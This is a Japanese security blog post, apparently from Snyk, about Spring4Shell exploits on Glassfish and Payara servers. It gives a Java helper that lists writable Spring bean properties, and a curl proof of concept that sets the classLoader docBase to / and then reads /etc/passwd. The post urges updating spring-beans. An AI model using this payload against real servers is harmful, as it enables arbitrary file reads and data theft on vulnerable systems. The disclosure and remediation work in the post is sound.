Skip to main content

Spring4ShellがGlassfishとPayaraにも拡大:同じ脆弱性、新たなエクスプロイト

blog feature snyk policies

2022年4月8日

0 分で読めます

先週、古いバージョンのspring-beansパッケージにおけるリモートコード実行(RCE)脆弱性、Spring4Shellを発見したことを発表しました。ブログ記事Spring4Shell:Spring FrameworkのゼロデイRCEを解説では、CVE-2010-1622を悪用する古いTomcat向けエクスプロイトが、再び有効になった経緯をご紹介しました。この問題の性質から、既知のTomcat向けエクスプロイト以外にもペイロードが作成される可能性があると予想していました。そして本日、Snykのセキュリティリサーチチームは、その予想が現実になったことを確認しました。Springの同じ問題を利用しながら、異なるペイロードを使うGlassfishとPayara向けの類似エクスプロイトが登場しています。Payaraチームには調査結果を共有し、特定の構成のPayaraが脆弱である可能性があるという独自の分析の確認に役立ててもらいました。

まず何よりも、これは新たな脆弱性ではありません。Tomcatで最初に確認された問題よりも影響が広いという予想を裏付ける、新たなエクスプロイトです。Payaraチームは影響を受けるPayara CommunityおよびPayara Enterpriseのバージョン向けにホットフィックスを公開する予定ですが、推奨する修復策に変わりはありません。spring-beansパッケージをバージョン5.3.18または5.2.20以降に更新してください。このパッケージを新しいバージョンに更新することは不可欠です。何よりも優先して対応してください。

悪用可能な書き込み可能プロパティをさらに探す

Snykのセキュリティリサーチチームは、以下の関数を使って、特定のアプリケーションサーバーで書き込み可能な属性を調べました。セキュリティR&DチームのKirill Efimovが作成したこの関数は、Spring APIを使って利用可能なすべてのプロパティを走査し、侵害に悪用される可能性のあるプロパティの一覧を作成します。

public static HashSet<String> findWritablePds(Object root, String path, int depth, HashSet<Object> visited) {

  if (visited == null) {
     visited = new HashSet<>();
     visited.add(Integer.class);
     visited.add(Long.class);
     visited.add(Double.class);
     visited.add(String.class);
  }

  HashSet<String> res = new HashSet<>();

  if (depth <= 0) return res;
  if (visited.contains(root)) return res;
  else visited.add(root);

  try {
     BeanWrapperImpl impl = new BeanWrapperImpl(root);

     for (PropertyDescriptor pd : impl.getPropertyDescriptors()) {
        if (!impl.isReadableProperty(pd.getName())) continue;
        if (pd.getName().equals("accessible")) continue;

        if (impl.isWritableProperty(pd.getName())) {
           res.add(path + "." + pd.getName());
        }

        Object value = impl.getPropertyValue(pd.getName());

        if (value != null && value != Optional.empty()) {
           res.addAll(findWritablePds(value, path + "." + pd.getName(), depth - 1, visited));

           if (value.getClass().isArray()) {
              try {
                 Object[] casted = (Object[]) value;

                 for (int i = 0; i < casted.length; i++) {
                    res.addAll(findWritablePds(casted[i], path + "." + pd.getName() + "[" + i + "]", depth - 1, visited));
                 }
              } catch (ClassCastException cce) {
                 System.err.println("Exception casting class " + value.getClass().getCanonicalName() + ": " + cce.getMessage());
              }
           }
        }
     }
  } catch (Exception e) {
     e.printStackTrace();
  }

  return res;
}

エンドポイントでこの関数HashSet<String> result = HandlingFormSubmissionApplication.findWritablePds(greeting, "", 100, null);を呼び出すと、対象を簡単に一覧表示して確認できます。

Glassfish/Payaraサーバーを悪用する

GlassFishはTomcatに似たアプリケーションサーバーです。違いの詳細は今回の内容に関係しないため、ここでは割愛します。Payara ServerはGlassFishから派生したもので、多くの共通点があります。ただし、Payaraには元のGlassFishより多くの機能があり、異なる製品です。Payaraチームによるブログ記事では両者の違いが詳しく解説されていますが、今回のエクスプロイトには関係ありません。

前回のブログ記事と同じアプリケーションを使い、今度はPayara Server (Community) 5.2022.1にデプロイしてみましょう。前の段落で紹介した関数を使うと、次の属性が書き込み可能であることがわかりました。

[.class.module.classLoader.resources.dirContext.docBase, .class.module.classLoader.parent.name, .class.module.classLoader.resources.dirContext.debug, .class.module.classLoader.resources.dirContext.allowLinking, .class.module.classLoader.resources.cache.desiredEntryAccessRatio, .content, .class.module.classLoader.resources, .id, .class.module.classLoader.resources.dirContext.cacheTTL, .class.module.classLoader.antiJARLocking, .class.module.classLoader.debug, .class.module.classLoader.resources.dirContext.cacheMaxSize, .class.module.classLoader.resources.dirContext.cached, .class.module.classLoader.resources.dirContext.caseSensitive, .class.module.classLoader.resources.cache.cacheMaxSize, .class.module.classLoader.clearReferencesStatic, .class.module.classLoader.delegate, .class.module.classLoader.resources.cache.maxAllocateIterations, .class.module.classLoader.resources.cache.spareNotFoundEntries, .class.module.classLoader.jarPath]

特に注目すべきプロパティの一つがclass.module.classLoader.resources.dirContext.docBaseです。新たなエクスプロイトでは、このプロパティを利用します。

以下のエクスプロイトでは、このプロパティを使ってdocBaseを/に設定します。ルートがマシンの実際のルートに設定されるため、通常はアクセスできないファイルにもアクセスできるようになります。以下の例のように、次の操作を実行すると/etc/passwdファイルの内容をダウンロードできます。

http://localhost:8080/handling-form-submission-complete/etc/passwd

エクスプロイト

echo "Setting doc base to /"
curl -X POST \
 -F 'class.module.classLoader.resources.dirContext.docBase=/' \
 http://localhost:8080/handling-form-submission-complete/greeting
sleep 2
echo "Downloading /etc/passwd"
curl http://localhost:8080/handling-form-submission-complete/etc/passwd

言うまでもなく、これは望ましい状態ではありません。ファイルシステム上の任意のファイルを読み取れるためです。悪意のある人物が後続の攻撃に役立つ貴重な情報を得たり、ユーザーデータを漏えいさせたりするおそれがあります。

Snykのセキュリティリサーチャー、Calum Huttonが作成したエクスプロイトの全プロジェクトは、GitHubで公開されています。

できるだけ早くSpring Frameworkを更新しましょう

改めて強調しますが、これは新たな脆弱性ではなく、別のサーバーで同じSpring4Shellの脆弱性を悪用する別の方法です。最も重要なのは、Springのこの問題がTomcatに限ったものではないという点です。Spring自体に存在する問題は広範囲に及ぶため、さまざまなサーバー向けに異なる形のエクスプロイトが次々と登場する可能性もあります。今のところ利用環境向けのエクスプロイトが知られていなくても、脆弱ではないとは言い切れません。

最善の策は、Spring Framework(少なくともspring-beansパッケージ)を最新バージョンに更新することです。私の意見では、更新は必須です。確認できる限り、パッケージを更新すれば、使用しているアプリケーションにかかわらず、この脆弱性を解消できます。

Snykは、アプリケーションを定期的にスキャンして、この問題への対応を支援します。新たな脆弱性が検出されると、Snykがチームに通知し、アプリケーションの安全を保つために推奨される次のステップを提示します。今すぐ更新を始めましょう。

CTFを始めよう

オンデマンドのバーチャル入門ワークショップで、CTFチャレンジの解き方を学びましょう。